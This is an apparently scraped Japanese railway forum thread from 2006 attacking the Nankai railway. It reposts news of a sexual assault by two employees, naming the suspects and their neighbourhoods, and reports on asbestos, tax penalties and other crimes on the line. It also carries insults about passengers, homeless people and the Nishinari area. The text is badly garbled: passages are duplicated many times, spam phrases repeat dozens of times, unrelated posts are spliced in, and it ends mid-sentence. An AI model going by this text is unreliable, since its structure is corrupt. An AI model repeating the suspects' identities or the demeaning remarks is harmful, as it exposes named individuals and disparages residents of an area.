せつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日
午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑
を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の
時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性
をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女
性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.ni
kkansports.com/news/p-on-tp6-20060726-66186.html 運転士と車掌が女性監禁トイレで強制わいせつ運転士と車掌が女性監禁トイレで強制わいせつ運転士と車掌が女性監禁トイレで強制
わいせつ運転士と車掌が女性監禁トイレで強制わいせつ運転士と車掌が女性監禁トイレで強制わいせつ運転士と車掌が女性監禁トイレで強制わいせつ監禁強制わいせつ赤字南海監禁強制わい
せつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせつ赤字南海監禁強制わいせ
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南海監禁強制わいせつ赤字南海
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◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制
わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」
と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸など
を触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci
わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」
と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸など
を触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci
>491も、アホ丸出し。ちょっとは勉強してからカキコせえ。
http://uploader.onpuch.co.uk/index.php?type=sage&id=220239
無題名前：虎式使用人 [2006-08-01 23:08:26] (tigdb6a9c60.tigers-net.com)No.220246
はんきゅうがすきです
でも、つうきんでんしゃのしゃないでたばこをすってるひとがいる
なんかいでんしゃはもっとすきです
http://uploader.onpuch.co.uk/index.php?type=sage&id=220239
無題名前：虎式使用人 [2006-08-01 23:08:26] (tigdb6a9c60.tigers-net.com)No.220246
はんきゅうがすきです
でも、つうきんでんしゃのしゃないでたばこをすってるひとがいる
なんかいでんしゃはもっとすきです
さすが阪急。幕かと間違えるくらい綺麗な、視覚性の抜群な行き先表示LEDだな。ttp://csx.jp/~starliner/9000-debut-4.jpgttp://csx.jp/~starliner/9000-debut-11.jpg子会社の阪堺
ですら幕やめてLED導入してるというのに、未だに新車でも行き先表示に幕しか入れられない、子会社よりも技術力で劣る南海が情けないよ・・・。
ですら幕やめてLED導入してるというのに、未だに新車でも行き先表示に幕しか入れられない、子会社よりも技術力で劣る南海が情けないよ・・・。
それ以前に、南海にはヲタの脳内新車しか入らない・・・
南海はアスベスト対策窓口開設しないの？過去にあれだけ部品販売で排出しといて。>798南海電鉄アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、
南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかり
ました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.htmlttp://image01.pita.st/?c=xhabghrb_4&uk=9D2zTiFCj8wi&thumb=3ttp://image01.pita.st/tmp/6/7/xhabghrb_4.jpg
ttp://www.agui.net/imglog/jnr/img-box/img20060801151913.jpgttp://p14.fileseek.net/cgi-bin/p.cgi?uR=www.nankai.co.jp%2Finfo%2Fasbest%2Fmain.html&sZ=5730:南海太郎も真っ青
:2006/08/01(火)22:24:58ID:KD7RlwU70アスベストを含有した解体車両部品の無償修繕等について南海電気鉄道株式会社（社長：山中諄）では、これまで鉄道関連イベントなどで、解体車両
から取り出した「車号プレート」を販売してまいりましたが、このたび、販売した「車号プレート」の一部にアスベストを含有した材料が使用されていることが判明しました。この材料は
すべて固形化されているため飛散する可能性はありませんが、当社では無償修繕等のお問い合わせ、ご相談に対応いたします。ご購入いただいたお客さまには、ご心配、ご迷惑をおかけい
たしますことを深くお詫びいたします未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の
新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに
大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字
南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情
南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかり
ました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.htmlttp://image01.pita.st/?c=xhabghrb_4&uk=9D2zTiFCj8wi&thumb=3ttp://image01.pita.st/tmp/6/7/xhabghrb_4.jpg
ttp://www.agui.net/imglog/jnr/img-box/img20060801151913.jpgttp://p14.fileseek.net/cgi-bin/p.cgi?uR=www.nankai.co.jp%2Finfo%2Fasbest%2Fmain.html&sZ=5730:南海太郎も真っ青
:2006/08/01(火)22:24:58ID:KD7RlwU70アスベストを含有した解体車両部品の無償修繕等について南海電気鉄道株式会社（社長：山中諄）では、これまで鉄道関連イベントなどで、解体車両
から取り出した「車号プレート」を販売してまいりましたが、このたび、販売した「車号プレート」の一部にアスベストを含有した材料が使用されていることが判明しました。この材料は
すべて固形化されているため飛散する可能性はありませんが、当社では無償修繕等のお問い合わせ、ご相談に対応いたします。ご購入いただいたお客さまには、ご心配、ご迷惑をおかけい
たしますことを深くお詫びいたします未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の
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南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情
けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入
できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一
LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の
新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに
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南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情
けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海赤字南海の阪急化改造は結局断念した
のかな？費用対効果がほとんど得られないと判断したのか？サザンなんて客少ないよ。ラピは利用したこと無いから知らないけど。しかしまぁ、関東の座席指定特急の代表は小田急だが、
新宿南口には窓口すら無く自動販売してる。西武に至っては一々手売りで買うのが珍しい状態。急ぐなら自動で買えば済む訳で、南海は自動化促進すら出来ないんだなぁと呆れております
。若い犬も多いがあいつら縁故だったのか。南海体質はJR以下だな。どうりで、お人よしなやつが多いと思ったよ。そういうやつらはまともに相手せず、頭を使って利用してやればいい。
よく考えたら、天下茶屋に優等列車とまるのに、なかもずに止まらないのは絶対おかしいね。地下鉄と競争して勝負するきは毛頭なく、客を奪われないように保守してるだけだろうな。サ
できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一
LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の
新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに
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南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情
けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海未だに大手私鉄の新車で唯一LED車導入できない情けない赤字南海赤字南海の阪急化改造は結局断念した
のかな？費用対効果がほとんど得られないと判断したのか？サザンなんて客少ないよ。ラピは利用したこと無いから知らないけど。しかしまぁ、関東の座席指定特急の代表は小田急だが、
新宿南口には窓口すら無く自動販売してる。西武に至っては一々手売りで買うのが珍しい状態。急ぐなら自動で買えば済む訳で、南海は自動化促進すら出来ないんだなぁと呆れております
。若い犬も多いがあいつら縁故だったのか。南海体質はJR以下だな。どうりで、お人よしなやつが多いと思ったよ。そういうやつらはまともに相手せず、頭を使って利用してやればいい。
よく考えたら、天下茶屋に優等列車とまるのに、なかもずに止まらないのは絶対おかしいね。地下鉄と競争して勝負するきは毛頭なく、客を奪われないように保守してるだけだろうな。サ
ービスを追及するのでなく、沿線沿線住民からいかに金を巻き上げるかに、保守してる。南海言えばここの駄々のおかげで3・3・SUNも消えると言うことになったな あんな卑怯な勝ち方
亀田 ま、南海沿線の西成区なんて、所詮はそんなもんか レクサスねぇ…国内販売を強化したものの結果的に他の高級外国車の需要を促進させるだけに落ち着いたと。オペルはorz状態だが
ボルボやベンツなどはシェア拡大したはず。要は「高い金で国内メーカーの外車風を買うんなら外車買った方がマシなんじゃねぇ？」て訳だ。
亀田 ま、南海沿線の西成区なんて、所詮はそんなもんか レクサスねぇ…国内販売を強化したものの結果的に他の高級外国車の需要を促進させるだけに落ち着いたと。オペルはorz状態だが
ボルボやベンツなどはシェア拡大したはず。要は「高い金で国内メーカーの外車風を買うんなら外車買った方がマシなんじゃねぇ？」て訳だ。
何にしても、南海（本線）の客はガラが悪すぎ。喧嘩はしょっちゅう、チンピラも多い。夜遅くなると小汚い酔っ払いのオッサンが椅子に寝そべる、連結部に座り込む、タバコ吸う。挙げ
ればキリが無いくらい。大阪以外も含め、今までいろんな路線使ってたけど南海は最悪だね、、
ればキリが無いくらい。大阪以外も含め、今までいろんな路線使ってたけど南海は最悪だね、、
赤字南海倒産民事再生法適応
将来、ロンドン並みの高額初乗りになるであろう南海。南海や大阪民国地下鉄は取り締まりなんかしないね。というかできへんか（笑）駅構内治安維持で手いっぱいみたいやね。新今宮の
ホームレス排除もする気ないな。「人権」って言われて犬もポリも（ry大阪や兵庫は、洒落にならないくらい怖い住民が溢れてるから、警官の離職率が半端無く高いから、万引きがありス
ーパーから呼び出し受けて駆けつけるのと、天下りに繋がる交通取締りだけでも大変だよ。第一関西で池袋の真似したら、「ワテの店の万引きバスター、警察はんしてくれまへんか？JRだ
けズルイでー。」と苦情殺到で、警察の威信が低下しちゃいます。以前俺らのガキの頃は地下鉄から南海の通路にこれでもかと溢れんばかりに浮浪者が新聞紙敷いて、昼間から寝たり騒い
だりしたからね。幼心に「こりゃ、やばい」と思った物だよ。今じゃ、「通路で寝転ばないで下さい」と掲示物が貼ってたり、あまりに酒盛が酷いと駅員に追い出される。南海大阪民国地
下鉄の放送は「痴漢犯罪です！とひったくり注意！」がデフォやからな（笑）赤字南海の運転士と車掌が女性監禁トイレで強制わいせつ 監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ７という数字
はここ（南海）に来ればある人にとっては邪魔者扱い又、あちら（ＪＲ東海）にいけば将来有望視されていますね。なんか不憫だと思います
ホームレス排除もする気ないな。「人権」って言われて犬もポリも（ry大阪や兵庫は、洒落にならないくらい怖い住民が溢れてるから、警官の離職率が半端無く高いから、万引きがありス
ーパーから呼び出し受けて駆けつけるのと、天下りに繋がる交通取締りだけでも大変だよ。第一関西で池袋の真似したら、「ワテの店の万引きバスター、警察はんしてくれまへんか？JRだ
けズルイでー。」と苦情殺到で、警察の威信が低下しちゃいます。以前俺らのガキの頃は地下鉄から南海の通路にこれでもかと溢れんばかりに浮浪者が新聞紙敷いて、昼間から寝たり騒い
だりしたからね。幼心に「こりゃ、やばい」と思った物だよ。今じゃ、「通路で寝転ばないで下さい」と掲示物が貼ってたり、あまりに酒盛が酷いと駅員に追い出される。南海大阪民国地
下鉄の放送は「痴漢犯罪です！とひったくり注意！」がデフォやからな（笑）赤字南海の運転士と車掌が女性監禁トイレで強制わいせつ 監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ７という数字
はここ（南海）に来ればある人にとっては邪魔者扱い又、あちら（ＪＲ東海）にいけば将来有望視されていますね。なんか不憫だと思います
Re:南海りんかんバスの案内人はやくざだ。この間、関西空港で南海のバスに乗りましたが・・・それはそれは立派な対応してもらいました。｢釣りはねえ｣というような素敵なお言葉に私
は感激しました。これが南海クオリティなんですね。阪急や京阪では考えられない。道考えても、南海は阪急や京阪より落ちます。というか、もう乗りたくない。もう、ＪＲに乗ります。
ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1799東証1部いつになったら東証1部に上場するのですか？誰か教えて下さい。
経営能力を問われるよ！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1790南海りんかんバスの案内人はやくざだ。7月9日昼
過ぎのことでした。高野山のバス案内所にいる人に運賃を尋ねましたところ対応が怖いもなんのって・・・・まるでやくざでした。それから1日がだいなしだった。今度から車で行くこと
にしました。皆さん、できる限り南海りんかんバスには乗らないようにしましょう。高野山には車で行くことにしましょう。苦情は会社に言ったのですが、ちゃんとして処分してくれて
いるのか疑問だ。この会社は南海電鉄の子会社だとか・・・許せない思いだ。ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1697
は感激しました。これが南海クオリティなんですね。阪急や京阪では考えられない。道考えても、南海は阪急や京阪より落ちます。というか、もう乗りたくない。もう、ＪＲに乗ります。
ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1799東証1部いつになったら東証1部に上場するのですか？誰か教えて下さい。
経営能力を問われるよ！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1790南海りんかんバスの案内人はやくざだ。7月9日昼
過ぎのことでした。高野山のバス案内所にいる人に運賃を尋ねましたところ対応が怖いもなんのって・・・・まるでやくざでした。それから1日がだいなしだった。今度から車で行くこと
にしました。皆さん、できる限り南海りんかんバスには乗らないようにしましょう。高野山には車で行くことにしましょう。苦情は会社に言ったのですが、ちゃんとして処分してくれて
いるのか疑問だ。この会社は南海電鉄の子会社だとか・・・許せない思いだ。ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1697
【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.n
et/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレ
ッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/11546203
60/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7
.2ch.net/test/read.cgi/rail/1154620360/l50>939新スレ【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】
南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.c
gi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡
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ッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/11546203
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南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.c
gi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡
輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ
荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/
read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78
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ドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360
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気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rai
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気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rai
l/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】tt
p://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】
南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50【鳥取ノ荘←】南海電気鉄道スレッドNa78【⇒淡輪】ttp://hobby7.2ch.net/test/read.cg
i/rail/1154620360/l50新スレ【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50}【監禁】南海電気鉄道スレッドNa78【強制
わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50◆
◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野
敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉の
ホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同
期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。
両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行
為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。
南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-t
p6-20060726-66186.html重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０
i/rail/1154620360/l50新スレ【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50}【監禁】南海電気鉄道スレッドNa78【強制
わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50◆
◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野
敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉の
ホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同
期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。
両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行
為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。
南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-t
p6-20060726-66186.html重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０
００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが
２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処
分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」な
どとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れ
を指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算
◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処
理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストによ
る健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去
や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆
◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（1
0）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕さ
２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処
分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」な
どとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れ
を指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算
◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処
理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストによ
る健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去
や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆
◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（1
0）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕さ
れた。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社
員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に
連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒
を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約
１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」な
